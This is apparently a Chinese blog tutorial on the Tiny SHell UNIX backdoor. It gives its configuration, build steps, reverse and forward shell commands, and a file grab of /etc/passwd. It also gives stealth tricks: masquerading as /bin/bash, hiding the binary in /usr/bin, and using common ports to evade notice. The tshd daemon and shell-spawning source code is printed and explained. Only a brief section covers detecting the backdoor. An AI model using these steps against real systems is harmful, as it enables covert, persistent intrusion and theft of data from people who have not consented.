0x00 TSH简介
Tiny SHell即TSH是Orange于8年前开发的一款开源的UNIX后门工具,由C编写,体积Tiny。
支持功能:
地址:https://github.com/orangetw/tsh
0x01 工具使用
下载:
1
| git clone https://github.com/orangetw/tsh.git
|
修改tsh.h文件,主要修改密钥和控制端地址(如果使用反向连接):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| #ifndef _TSH_H #define _TSH_H
char *secret = "replace with your password";
#define SERVER_PORT 7586 #define FAKE_PROC_NAME "/bin/bash"
#define CONNECT_BACK_HOST "localhost" #define CONNECT_BACK_DELAY 30
#define GET_FILE 1 #define PUT_FILE 2 #define RUNSHELL 3
#endif
|
参数说明:
- secret:用于加密控制端和被控端之间通信的数据,这里所有通信都经过AES加密处理,密钥的长度任意(最好大于12,更安全);
- SERVER_PORT:服务端监听端口号;
- FAKE_PROC_NAME:用于伪装显示后门运行后的进程名字(用
ps -ef
或者netstat
查看显示的进程名字);
- CONNECT_BACK_HOST:控制端地址;
- CONNECT_BACK_DELAY:连接延时,默认延时单位为秒;
编译,参数从linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf
中选择,我本地环境为linux:
编译完成后,在当前目录中会生成tsh和tshd两个文件。
反向连接
前提准备是在编译前将tsh.h文件中的CONNECT_BACK_HOST设置为反向连接的控制端地址后再进行编译操作:
1 2
| #define CONNECT_BACK_HOST "控制端地址" #define CONNECT_BACK_DELAY 30
|
在控制端运行tsh程序开启监听:
在被控制端运行tshd即可定时反弹shell:
正向连接
在编译前注释掉tsh.h文件中关于反向连接的两个设置:
先在被控制端运行tshd:
然后在控制端运行tsh程序发起正向连接:
1 2
| chmod u+x tsh ./tsh 被控制端IP
|
文件传输
正向连接下载文件:
1
| ./tsh 被控制端IP get /etc/passwd ./
|
上传文件改为put即可:
1
| ./tsh 被控制端IP put aaa.sh /tmp
|
简单隐蔽
前面的默认操作隐蔽性弱、容易被用户发现,比如不修改程序名直接运行的话通过lsof命令还是能看到原程序名的:
修改下名称:
看到还是有个缺点,就是通过pwdx命令查看程序所在路径会有所暴露,因此可以进一步移动到可执行程序常在的目录中伪装,一般系统的bash位于/bin/bash
或/usr/bin/bash
,笔者的环境/usr/bin
下没有bash就放到这里了,其他如/usr/sbin
目录也可以:
但是遇到个问题,放到目录下无法正常正向连接。参考这篇文章说的,在tsh.c中看到是执行bash --login
命令的,但是该bash程序并没有指定执行的路径,依靠目标环境变量PATH的值设置的路径来逐个寻找:
而测试的目标主机PATH环境变量为PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
,即/usr/bin
在正常bash目录/bin
的前面,导致没有执行到正常的bash。因此修改下其中的bash为绝对路径的bash即可:
重新编译上传运行,就OK了:
看到ps -ef
命令的结果,其中-bash
是正常的bash进程,而12611和12613都是后门守护进程、其伪装成/bin/bash
,12614为后门守护进程执行系统命令exec /bin/bash --login
反弹的shell进程。
除此之外,连接的端口号也需要改为常用的端口以便于隐藏。
0x02 后门清理
以反连为例,查看异常bash连接端口、进程ID等,如果攻击者没有修改程序名且没有魔改直接编译使用的话,可以通过对比看/proc/pid/comm
的真实进程名来查杀即可:
正连类似的,用lsof命令也能直接分析出来。
至于修改程序名或魔改后的后门程序,可自行根据实际情况分析,这里没有细究。
0x03 原理浅析
tsh代码简洁,这里仅看看它服务端即tshd的关键部分。
执行后门tshd后,先是重写cmdline为用户设置的伪装进程名(默认为/bin/bash
),然后主进程会fork一个子进程1,父进程退出,该子进程1则成为孤儿进程被init托管:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| memset((void *)argv[0], '\0', strlen(argv[0])); strcpy(argv[0], FAKE_PROC_NAME);
pid = fork();
if( pid < 0 ) { return( 1 ); }
if( pid != 0 ) { return( 0 ); }
|
在后面的循环处理中,当子进程1成功连接上控制端监听的端口之后,会又fork一个子进程2用于处理建立好的连接,而该子进程2的父进程即子进程1会等待子进程2执行完再继续往下执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
|
pid = fork();
if( pid < 0 ) { close( client ); continue; }
if( pid != 0 ) { waitpid( pid, NULL, 0 ); close( client ); continue; }
|
子进程2接着会fork一个子进程3,然后子进程2退出,从而使得子进程3脱离了其祖父进程即子进程1成为孤儿进程、被init托管、成为守护进程,子进程3中开始真正进行交互shell/文件传输操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
|
pid = fork();
if( pid < 0 ) { return( 8 ); }
if( pid != 0 ) { return( 9 ); }
...
...
switch( message[0] ) { case GET_FILE:
ret = tshd_get_file( client ); break;
case PUT_FILE:
ret = tshd_put_file( client ); break;
case RUNSHELL:
ret = tshd_runshell( client ); break;
default: ret = 12; break; }
shutdown( client, 2 ); return( ret );
|
而在后面调用tshd_runshell()函数中,其中会再次fork子进程4来专门进行新建会话来反弹shell,而子进程4的父进程即子进程3则进行信息的接受和发送:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
|
pid = fork(); if( pid < 0 ) { return( 43 ); }
if( pid == 0 ) { close( client ); close( pty );
if( setsid() < 0 ) { return( 44 ); }
#if defined LINUX || defined FREEBSD || defined OPENBSD || defined OSF if( ioctl( tty, TIOCSCTTY, NULL ) < 0 ) { return( 45 ); } #else #if defined CYGWIN || defined SUNOS || defined IRIX || defined HPUX { int fd; fd = open( slave, O_RDWR ); if( fd < 0 ) { return( 46 ); } close( tty ); tty = fd; } #endif #endif
dup2( tty, 0 ); dup2( tty, 1 ); dup2( tty, 2 );
if( tty > 2 ) { close( tty ); }
shell = (char *) malloc( 8 ); if( shell == NULL ) { return( 47 ); } shell[0] = '/'; shell[4] = '/'; shell[1] = 'b'; shell[5] = 's'; shell[2] = 'i'; shell[6] = 'h'; shell[3] = 'n'; shell[7] = '\0'; execl( shell, shell + 5, "-c", temp, (char *) 0 );
return( 48 ); } else { close( tty );
while( 1 ) { FD_ZERO( &rd ); FD_SET( client, &rd ); FD_SET( pty, &rd ); n = ( pty > client ) ? pty : client; if( select( n + 1, &rd, NULL, NULL, NULL ) < 0 ) { return( 49 ); }
if( FD_ISSET( client, &rd ) ) { ret = pel_recv_msg( client, message, &len ); if( ret != PEL_SUCCESS ) { return( 50 ); } if( write( pty, message, len ) != len ) { return( 51 ); } }
if( FD_ISSET( pty, &rd ) ) { len = read( pty, message, BUFSIZE ); if( len == 0 ) break; if( len < 0 ) { return( 52 ); } ret = pel_send_msg( client, message, len ); if( ret != PEL_SUCCESS ) { return( 53 ); } } }
return( 54 ); }
|
小结下来,大致如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
| father -> X -> child1 | ---- | init -> child1 -> # waitpid(child2) -> child2 -> X -> child3 | --------------------- | init -> child3 -> # send & receive message -> child4 # reverse shell
|
当然,可以自行魔改实现更高的隐蔽性和更强的免杀。
0x04 参考
短小精干的Unix类后门Tiny shell的使用与分析